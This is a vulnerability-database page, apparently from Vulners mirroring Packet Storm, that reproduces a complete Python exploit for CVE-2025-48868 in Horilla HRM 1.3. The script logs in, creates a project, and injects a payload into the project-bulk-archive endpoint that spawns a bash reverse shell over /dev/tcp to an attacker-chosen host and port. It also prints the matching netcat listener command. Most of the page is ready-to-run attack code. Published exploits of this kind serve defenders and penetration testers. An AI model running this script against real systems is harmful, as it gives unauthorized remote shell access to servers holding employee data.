Lucene search
K

📄 Horilla 1.3 Remote Command Execution

🗓️ 10 Apr 2026 00:00:00Reported by Raghad Abdallah Al-syoufType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 49 Views

Authenticated remote command execution in Horilla HRM v1.3 enables login, project creation, and reverse-shell payloads.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-48868
8 Apr 202614:31
circl
CNNVD
Horilla 安全漏洞
24 Sep 202500:00
cnnvd
CVE
CVE-2025-48868
24 Sep 202513:51
cve
Cvelist
CVE-2025-48868 Horilla vulnerable to authenticated RCE via eval() in project_bulk_archive
24 Sep 202513:51
cvelist
Exploit DB
Horilla v1.3 - RCE
8 Apr 202600:00
exploitdb
EUVD
EUVD-2025-30970
3 Oct 202520:07
euvd
NVD
CVE-2025-48868
24 Sep 202514:15
nvd
OSV
CVE-2025-48868 Horilla vulnerable to authenticated RCE via eval() in project_bulk_archive
24 Sep 202513:51
osv
Positive Technologies
PT-2025-39264
24 Sep 202500:00
ptsecurity
RedhatCVE
CVE-2025-48868
25 Sep 202514:54
redhatcve
Rows per page
# Exploit Title:  Horilla v1.3 - RCE
    # Date: 2025-05-29
    # Exploit Author: Raghad Abdallah Al-syouf
    # Version: <= 1.3
    # Tested on: Ubuntu / Docker
    # CVE: CVE-2025-48868
    
    
    Description:
    This script exploits the authenticated RCE vulnerability CVE-2025-48868.
    It logs into the target web app, creates a project, and sends payloads
    to achieve a reverse shell connection to a listener **started manually** by the user.
    
    Usage:
        python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT
    
    Example:
        python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444
    """
    
    import requests
    import time
    import sys
    import argparse
    from bs4 import BeautifulSoup
    import urllib3
    import random
    import string
    from datetime import datetime
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def generate_random_title():
        letters = ''.join(random.choices(string.ascii_lowercase, k=4))
        digits = ''.join(random.choices(string.digits, k=2))
        return letters + digits
    
    def main():
        print("[+] CVE-2025-48868")
    
        parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan')
        parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000')
        parser.add_argument('--user', required=True, help='Username for login')
        parser.add_argument('--pass', required=True, dest='password', help='Password for login')
        parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)')
        parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)')
    
        args = parser.parse_args()
    
        base_url = args.url.rstrip('/')
        login_url = f"{base_url}/login/"
        project_url = f"{base_url}/project/project-bulk-archive"
        session = requests.Session()
        headers = {
            "User-Agent": "Mozilla/5.0",
            "X-Requested-With": "XMLHttpRequest"
        }
    
        print("[+] Getting login page...")
        login_page = session.get(login_url, headers=headers, verify=False)
        if login_page.status_code != 200:
            print(f"[-] Failed to load login page, status {login_page.status_code}")
            sys.exit(1)
    
        soup = BeautifulSoup(login_page.text, 'html.parser')
        csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
    
        login_data = {
            "username": args.user,
            "password": args.password,
            "csrfmiddlewaretoken": csrf_token
        }
    
        print("[+] Logging in...")
        login_resp = session.post(login_url, data=login_data, headers=headers, verify=False)
        if login_resp.status_code != 200 or "logout" not in login_resp.text.lower():
            print("[-] Login failed")
            sys.exit(1)
        print("[+] Logged in successfully!")
    
        project_view_url = f"{base_url}/project/project-view/"
        project_view = session.get(project_view_url, headers=headers, verify=False)
        soup = BeautifulSoup(project_view.text, 'html.parser')
        csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
    
        print("[+] Creating project...")
        create_project_url = f"{base_url}/project/create-project?"
        today_str = datetime.now().strftime("%Y-%m-%d")
        random_title = generate_random_title()
        multipart_data = {
            "is_active": "on",
            "title": random_title,
            "managers": "1",
            "members": "1",
            "status": "new",
            "start_date": today_str,
            "end_date": today_str,
            "description": "Exploit project"
        }
    
        create_headers = {
            "User-Agent": "Mozilla/5.0",
            "Accept": "*/*",
            "Referer": project_view_url,
            "HX-Request": "true",
            "HX-Trigger": "hlvd701Form",
            "HX-Target": "hlvd701Form",
            "HX-Current-URL": project_view_url,
            "X-CSRFToken": csrf_token,
            "Origin": base_url,
            "DNT": "1",
            "Connection": "keep-alive",
        }
    
        create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False)
        if create_resp.status_code == 200:
            print(f"[+] Project created successfully with title: {random_title}")
        else:
            print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...")
    
        headers["Referer"] = project_view_url
        headers["Origin"] = base_url
        headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
    
        print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport))
        print("[+] Sending payload...")
    
        i = 1
        while True:
            encoded_ids = f"%5B%22{i}%22%5D"
            payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')"
            exploit_url = f"{project_url}?is_active={payload}"
            data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}"
            response = session.post(exploit_url, headers=headers, data=data, verify=False)
    
            if response.status_code == 200:
                print(f"[+] Payload sent for project id {i}. Waiting for shell...")
            else:
                print(f"[-] Error sending payload for project id {i} (status {response.status_code})")
    
            time.sleep(3)
            i += 1
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Apr 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.17.2
EPSS0.04682
SSVC
49